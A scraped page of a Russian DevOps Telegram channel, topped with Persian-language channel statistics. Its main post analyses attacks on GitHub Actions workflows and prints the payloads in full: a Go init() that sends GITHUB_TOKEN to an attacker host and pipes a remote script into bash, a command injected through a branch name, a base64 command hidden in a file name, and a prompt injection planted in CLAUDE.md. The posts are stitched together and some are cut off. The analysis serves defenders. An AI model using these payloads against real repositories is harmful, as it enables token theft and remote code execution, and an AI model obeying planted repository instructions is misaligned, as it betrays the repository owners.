Библиотека девопса | DevOps, SRE, Sysadmin
Все самое полезное для девопсера в одном канале. Наши курсы: https://clc.to/ZJ7Z1w По рекламе: @proglib_adv Для обратной связи: @proglibrary_feeedback_bot РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787
نمایش بیشتر📈 تحلیل کانال تلگرام Библиотека девопса | DevOps, SRE, Sysadmin
کانال Библиотека девопса | DevOps, SRE, Sysadmin (@devopsslib) در بخش زبانی روسی بازیگری فعال است. در حال حاضر جامعه شامل 10 390 مشترک است و جایگاه 11 434 را در دسته فناوری و برنامهها و رتبه 61 255 را در منطقه روسيا دارد.
📊 شاخصهای مخاطب و پویایی
از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 10 390 مشترک جذب کرده است.
بر اساس آخرین دادهها در تاریخ 28 اوت, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر -4 و در ۲۴ ساعت گذشته برابر -3 بوده و همچنان دسترسی گستردهای حفظ شده است.
- وضعیت تأیید: تأیید نشده
- نرخ تعامل (ER): میانگین تعامل مخاطب 10.37% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 4.23% واکنش نسبت به کل مشترکان کسب میکند.
- دسترسی پستها: هر پست به طور میانگین 1 077 بازدید دریافت میکند. در اولین روز معمولاً 439 بازدید جمعآوری میشود.
- واکنشها و تعامل: مخاطبان بهطور فعال حمایت میکنند؛ میانگین واکنش به هر پست 1 است.
- علایق موضوعی: محتوا بر موضوعات کلیدی مانند devops'a, навигация, скрипт, docker, git تمرکز دارد.
📝 توضیح و سیاست محتوایی
نویسنده این فضا را محل بیان دیدگاههای شخصی توصیف میکند:
“Все самое полезное для девопсера в одном канале.
Наши курсы: https://clc.to/ZJ7Z1w
По рекламе: @proglib_adv
Для обратной связи: @proglibrary_feeedback_bot
РКН: https://gosuslugi.ru/snet/6798b4e4509aba56522d1787”
به لطف بهروزرسانیهای پرتکرار (آخرین داده در تاریخ 29 اوت, 2026)، کانال همواره بهروز و دارای دسترسی بالاست. تحلیلها نشان میدهد مخاطبان بهطور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامهها تبدیل کردهاند.
curl -sSfL hackmoltrepeat.com/molt | bash. Менялось только то, как заставить CI его выполнить.
Атака 1. avelino/awesome-go — кража токена через Go init()
Воркфлоу использует pull_request_target и делает checkout кода из форка, затем запускает его. Это классический Pwn Request — код выполняется с правами целевого репозитория, а не форка.
Бот добавил функцию init() в Go-скрипт качества кода. В Go init() запускается автоматически до main(), поэтому вырезать её из потока выполнения нельзя.
В последнем PR функция сначала отправляла GITHUB_TOKEN на сервер атакующего, потом запускала пейлоад:
func init() {
_ = exec.Command("bash", "-c",
`curl -s -H "Authorization: Bearer $GITHUB_TOKEN"` +
`-d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY"` +
`https://recv.hackmoltrepeat.com/ &&` +
`curl -sSfL https://hackmoltrepeat.com/molt | bash`).Run()
}
Воркфлоу завершился успешно. Шаг занял 5 минут 37 секунд вместо нескольких секунд. Токен с правами contents: write и pull-requests: write ушёл на внешний сервер.
Атака 2. project-akri/akri — прямая инъекция в shell-скрипт
Самая простая атака в кампании. Бот добавил одну строку в начало version.sh сразу после shebang:
#!/usr/bin/env bash
curl -sSfL https://hackmoltrepeat.com/molt | bash
check_file_version()
Никакой обфускации. Потом написал комментарий /version minor в PR, который запустил воркфлоу Auto Bump Versions. Воркфлоу сделал checkout кода из форка и выполнил изменённый скрипт. Шаг Update version minor завершился успешно.
Проблема в том, что воркфлоу не проверял author_association — любой пользователь GitHub мог написать /version minor в любом PR и запустить выполнение кода.
Атака 3. microsoft/ai-discovery-agent — пейлоад в имени ветки
Сам PR был тривиальным — одна правка в devcontainer.json. Атака была в имени ветки:
dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)
Bash разворачивает {curl,-sSfL,...} в curl -sSfL ..., а ${IFS} становится пробелом, а $({...}) запускает подстановку команды. Воркфлоу записывал имя ветки через неэкранированное ${{ }} прямо в shell-команду:
- name: Save format request data
run: |
echo "${{ steps.pr_info.outputs.pr_head_ref }}" > ./format-request/pr_head_ref
Это превращалось в:
echo "dev$({curl,-sSfL,hackmoltrepeat.com/molt}${IFS}|${IFS}bash)" > ...
Bash выполнял команду внутри $(). В логах виден разрыв в 2 минуты 38 секунд там, где шаг должен занимать миллисекунды.
Атака 4. DataDog/datadog-iac-scanner — base64 в имени файла
Бот создал файл с именем, содержащим закодированную команду:
documentation/rules/$(echo${IFS}Y3VybCAtc1NmTCBoYWNr...${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash).md
При декодировании base64-строка разворачивается в curl -sSfL hackmoltrepeat.com/molt | bash. Воркфлоу передавал имена файлов через ${{ }} в shell-цикл for, поэтому имя файла выполнялось как команда.
Атака 5. ambient-code/platform — prompt injection в CLAUDE.md
Бот заменил CLAUDE.md — файл конфигурации, который Claude Code загружает как доверенный контекст — на инструкции для манипуляции ИИ. Текст был написан в дружелюбном тоне и просил Claude добавить HTML-комментарий в README.md, закоммитить его и написать фейковый одобряющий отзыв о PR.
Воркфлоу запускал Claude Code с правами записи и токеном CLAUDE_CODE_OAUTH_TOKEN, делал checkout кода из форка, включая отравленный CLAUDE.md.
Claude обнаружил атаку и отказался выполнять инструкции. В своём ответе он написал, что это «textbook AI agent supply-chain attack», и явно указал: инъекция из CLAUDE.md обнаружена и не выполнена. После инцидента репозиторий отключил весь Claude Code workflow.
Все эти паттерны хорошо известны. Документация GitHub прямо предупреждает о рисках pull_request_target. Но в реальных проектах, включая репозитории крупных компаний, они встречаются до сих пор.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#разбор_полётовGITHUB_TOKEN с правами contents: write и pull-requests: write на внешний сервер.
Все пять атак использовали одни и те же типичные ошибки в конфигурации воркфлоу: pull_request_target с checkout кода из форка, запуск shell-команд через неэкранированные ${{ }} выражения, отсутствие проверки author_association в триггерах по комментариям и избыточные права GITHUB_TOKEN.
➡️ Источник
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#разбор_полётовВ чём отличие меток от аннотаций в Kubernetes?Подсказка: оба механизма добавляют метаданные к объектам, но используются для принципиально разных целей. Знаете ответ? ➡️ Проверьте себя 📍 Навигация: Вакансии • Задачи • Собесы 🐸 Библиотека devops'a #задача_со_звёздочкой
Docker — рутина, а вот обеспечить Observability для мультиагентной LLM-системы — это боль. Как отслеживать стоимость токенов, логировать «галлюцинации» и не нарушить 152-ФЗ?
В обновлённой программе фокус смещён на AgentOps, жёсткий инжиниринг и вывод в прод. Вы научитесь настраивать метрики производительности, работать с LangGraph, внедрять RAG и протоколы MCP. Все ключевые навыки в одном месте: трассировка ошибок, time-travel дебаггинг, защита от деградации систем, human-in-the-loop и развёртывание отечественных моделей в закрытых контурах.
Почему нельзя откладывать:
— масштабная акция «3 курса по цене 1» сгорит уже завтра;
— промокод Agent на скидку 10 000 рублей действует последние часы;
— сразу после оформления открываются материалы для подготовки — начать учиться можно прямо сейчас.
Забронировать место на курсе и забрать бонусы до 28 февраляcurl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash
➡️ Репозиторий
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#арсенал_инженера/api/v1/health/readiness — для load balancer, без аутентификации
/api/v1/diagnostics — детальный статус для troubleshooting
Изоляция деградировавшего нода теперь занимает секунды, а не минуты. Старые health check эндпоинты задепрекейчены.
Terraform Actions — поддержка сторонних инструментов из провайдеров — теперь полностью в TFE
Replace resource прямо из UI — починить упавшую VM, не выходя из дашборда.
Важно при апгрейде: убрали поддержку PostgreSQL 13.
➡️ Блог разработчиков
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#пульс_индустрии# yaml-language-server: $schema=... и указывать схему.
Что делает yaml-schema-router: он смотрит на содержимое файла и папку, где он лежит, и сам понимает, что это, к примеру, docker-compose.yml, значит нужна схема для него. И автоматически говорит об этом редактору.
Результат: редактор начинает нормально подсказывать поля, подчёркивать ошибки и показывать документацию.
➡️ Репозиторий
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#арсенал_инженера/api/v1/health/readiness — для load balancer, без аутентификации
/api/v1/diagnostics — детальный статус для troubleshooting
Изоляция деградировавшего нода теперь занимает секунды, а не минуты. Старые health check эндпоинты задепрекейчены.
Terraform Actions — поддержка сторонних инструментов из провайдеров — теперь полностью в TFE
Replace resource прямо из UI — починить упавшую VM, не выходя из дашборда.
Важно при апгрейде: убрали поддержку PostgreSQL 13.
➡️ Блог разработчиков
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#пульс_индустрииAgentOps и сместили фокус с базовых концепций на суровый инжиниринг. Развернуть модель легко, а вот настроить трассировку, лимитировать потребление ресурсов и предотвратить деградацию системы в проде — задача со звёздочкой.
В программе:
— AgentOps: наблюдаемость, метрики качества и логирование;
— оркестрация в LangGraph: механизм time-travel для диагностики отказов;
— продвинутый RAG для продакшена и парсинг сложных документов;
— контроль экономики: защита от неконтролируемого роста нагрузки;
— развёртывание локальных опенсорс-моделей с соблюдением 152-ФЗ.
В честь старта продаж действует спецпредложение: 3 курса по цене 1 (два дополнительных курса в подарок).
Доступ к материалам для предварительной подготовки откроется сразу после оплаты.
По промокоду Agent забирайте скидку 10 000 ₽ (89 000 ₽ вместо 99 000 ₽). Успейте занять место до 28 февраля!
👉 Присоединиться к четвёртому потоку и настроить AgentOpsimport subprocess
def check_security_policies():
report = []
# Безопаснее subprocess, чем os.popen
result = subprocess.run(["cat", "/etc/passwd"], capture_output=True, text=True)
users = result.stdout.strip().split("\n")
for user in users:
if "/bin/bash" in user:
username = user.split(":")[0]
report.append(f"User with shell access: {username}")
with open("compliance_report.txt", "w") as f:
f.write("\n".join(report))
print(f"Compliance report generated. Found {len(report)} users with shell access.")
if __name__ == "__main__":
check_security_policies()
Что делает скрипт: читает /etc/passwd и находит всех пользователей, у которых в качестве shell прописан /bin/bash. Результат пишет в файл.
Как улучшить: добавить проверку пустых паролей через /etc/shadow, сервисных аккаунтов с UID < 1000, или прикрутить вывод в JSON для интеграции с SIEM.
На реальных проектах для этого используют библиотеки типа pwd — она читает /etc/passwd нативно, без системных вызовов.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#арсенал_инженераkubectl get pods не показывает образы. kubectl get pods -o wide показывает, но вместе с кучей колонок, которые сейчас не нужны.
Есть способ лучше:
kubectl get pods -o custom-columns='NAME:.metadata.name,IMAGE:.spec.containers[*].image'
Флаг -o custom-columns позволяет собрать таблицу из любых полей манифеста. Формат простой: ЗАГОЛОВОК:jsonpath. Точка — это корень объекта, дальше обычный путь по структуре.
[*] в пути — итерация по всем контейнерам в поде, включая sidecar-ы. Если их несколько, образы выведутся через запятую в одной ячейке.
Можно расширить под себя — например, добавить namespace и статус:
kubectl get pods -A -o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,IMAGE:.spec.containers[*].image,STATUS:.status.phase'
Работает с любыми ресурсами, не только с подами. Те же кастомные колонки применимы к деплойментам, нодам, сервисам — везде, где есть YAML-манифест.
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#root_prompt# Тянем модель
docker model pull ai/gpt-oss:20B-UD-Q4_K_XL
# Создаём sandbox
docker sandbox create --name openclaw -t olegselajev241/openclaw-dmr:latest shell .
docker sandbox network proxy openclaw --allow-host localhost
docker sandbox run openclaw
# Внутри sandbox
~/start-openclaw.sh
Облачные модели тоже работают. Если в окружении хоста есть ANTHROPIC_API_KEY или OPENAI_API_KEY — прокси сам их подставит. Ключи внутрь sandbox не попадают.
➡️ Блог Docker
📍 Навигация: Вакансии • Задачи • Собесы
🐸 Библиотека devops'a
#арсенал_инженера